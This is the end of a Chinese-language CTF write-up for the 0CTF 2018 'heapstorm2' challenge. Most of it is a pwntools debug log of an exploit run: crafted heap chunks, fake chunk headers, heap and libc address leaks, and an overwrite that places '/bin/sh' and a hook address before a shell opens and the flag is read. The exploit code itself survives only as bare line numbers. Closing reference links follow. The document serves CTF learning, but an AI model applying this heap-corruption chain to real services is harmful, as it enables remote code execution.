501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
[+] Opening connection to 202.120.7.205 on port 5655: Done
[DEBUG] Received 0x10 bytes:
'0NrK7lj7hzsvZNOW'
[DEBUG] Received 0x1 bytes:
'\n'
0NrK7lj7hzsvZNOW
[DEBUG] Sent 0x4 bytes:
00000000 01 31 ef d8 │·1··││
00000004
[DEBUG] Received 0xf6 bytes:
' __ __ _____________ __ __ ___ ____\n'
' / //_// ____/ ____/ | / / / / / | / __ )\n'
' / ,< / __/ / __/ / |/ / / / / /| | / __ |\n'
' / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n'
'/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n'
[DEBUG] Received 0x54 bytes:
'\n'
'===== HEAP STORM II =====\n'
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 0 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1288\n'
[DEBUG] Received 0x12 bytes:
'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1272\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x4f8 bytes:
00000000 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 │hhhh│hhhh│hhhh│hhhh│
*
000004f0 00 05 00 00 00 00 00 00 │····│····││
000004f8
[DEBUG] Received 0x10 bytes:
'Chunk 1 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 3 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1288\n'
[DEBUG] Received 0x12 bytes:
'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 5 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1272\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x4f8 bytes:
00000000 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 │hhhh│hhhh│hhhh│hhhh│
*
000004f0 00 05 00 00 00 00 00 00 │····│····││
000004f8
[DEBUG] Received 0x10 bytes:
'Chunk 4 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 6 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x10 bytes:
'Chunk 1 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'12\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0xc bytes:
'h' * 0xc
[DEBUG] Received 0x10 bytes:
'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1240\n'
[DEBUG] Received 0x12 bytes:
'Chunk 7 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x10 bytes:
'Chunk 1 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x10 bytes:
'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'56\n'
[DEBUG] Received 0x12 bytes:
'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1256\n'
[DEBUG] Received 0x12 bytes:
'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x10 bytes:
'Chunk 4 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'12\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0xc bytes:
'h' * 0xc
[DEBUG] Received 0x10 bytes:
'Chunk 3 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'24\n'
[DEBUG] Received 0x12 bytes:
'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1240\n'
[DEBUG] Received 0x12 bytes:
'Chunk 8 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x10 bytes:
'Chunk 4 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'5\n'
[DEBUG] Received 0x10 bytes:
'Chunk 5 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'72\n'
[DEBUG] Received 0x12 bytes:
'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x10 bytes:
'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x5 bytes:
'1256\n'
[DEBUG] Received 0x12 bytes:
'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x10 bytes:
'Chunk 2 Deleted\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'7\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'48\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x30 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 f1 04 00 00 00 00 00 00 │····│····│····│····│
00000020 00 00 00 00 00 00 00 00 e0 07 37 13 00 00 00 00 │····│····│··7·│····│
00000030
[DEBUG] Received 0x10 bytes:
'Chunk 7 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'8\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'80\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x50 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000020 00 00 00 00 00 00 00 00 e1 04 00 00 00 00 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 e8 07 37 13 00 00 00 00 │····│····│··7·│····│
00000040 00 00 00 00 00 00 00 00 c3 07 37 13 00 00 00 00 │····│····│··7·│····│
00000050
[DEBUG] Received 0x10 bytes:
'Chunk 8 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'72\n'
[DEBUG] Received 0x12 bytes:
'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'56\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x38 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000020 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│
00000030 00 08 37 13 00 00 00 00 │··7·│····││
00000038
[DEBUG] Received 0x10 bytes:
'Chunk 2 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'64\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x40 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│
00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│
00000030 e3 07 37 13 00 00 00 00 08 00 00 00 00 00 00 00 │··7·│····│····│····│
00000040
[DEBUG] Received 0x10 bytes:
'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xa bytes:
'Chunk[1]: '
[DEBUG] Received 0x42 bytes:
00000000 60 40 2f 97 25 56 00 00 0a 31 2e 20 41 6c 6c 6f │`@/·│%V··│·1. │Allo│
00000010 63 61 74 65 0a 32 2e 20 55 70 64 61 74 65 0a 33 │cate│·2. │Upda│te·3│
00000020 2e 20 44 65 6c 65 74 65 0a 34 2e 20 56 69 65 77 │. De│lete│·4. │View│
00000030 0a 35 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 │·5. │Exit│·Com│mand│
00000040 3a 20 │: │
00000042
heap: 5625972f4060
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'64\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x40 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│
00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│
00000030 70 40 2f 97 25 56 00 00 08 00 00 00 00 00 00 00 │p@/·│%V··│····│····│
00000040
[DEBUG] Received 0x10 bytes:
'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xa bytes:
'Chunk[1]: '
[DEBUG] Received 0x42 bytes:
00000000 58 cb 14 2e 7a 7f 00 00 0a 31 2e 20 41 6c 6c 6f │X··.│z···│·1. │Allo│
00000010 63 61 74 65 0a 32 2e 20 55 70 64 61 74 65 0a 33 │cate│·2. │Upda│te·3│
00000020 2e 20 44 65 6c 65 74 65 0a 34 2e 20 56 69 65 77 │. De│lete│·4. │View│
00000030 0a 35 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 │·5. │Exit│·Com│mand│
00000040 3a 20 │: │
00000042
libc_base: 7f7a2ddb3000
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x3 bytes:
'88\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x58 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│
00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│
00000030 88 e7 14 2e 7a 7f 00 00 00 01 00 00 00 00 00 00 │···.│z···│····│····│
00000040 50 08 37 13 00 00 00 00 00 01 00 00 00 00 00 00 │P·7·│····│····│····│
00000050 2f 62 69 6e 2f 73 68 00 │/bin│/sh·││
00000058
[DEBUG] Received 0x10 bytes:
'Chunk 0 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'3. Delete\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x6 bytes:
'Size: '
[DEBUG] Sent 0x2 bytes:
'8\n'
[DEBUG] Received 0x9 bytes:
'Content: '
[DEBUG] Sent 0x8 bytes:
00000000 80 24 df 2d 7a 7f 00 00 │·$·-│z···││
00000008
[DEBUG] Received 0x10 bytes:
'Chunk 1 Updated\n'
[DEBUG] Received 0x39 bytes:
'1. Allocate\n'
'2. Update\n'
'4. View\n'
'5. Exit\n'
'Command: '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[*] Switching to interactive mode
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x17 bytes:
'flag\n'
'heapstorm2\n'
'pow.py\n'
flag
heapstorm2
pow.py
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x4b bytes:
'flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}\n'
flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0xb bytes:
'heapstorm2\n'
heapstorm2
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x17 bytes:
'flag\n'
'heapstorm2\n'
'pow.py\n'
flag
heapstorm2
pow.py

flag

参考资料

https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3

https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

我的i64文件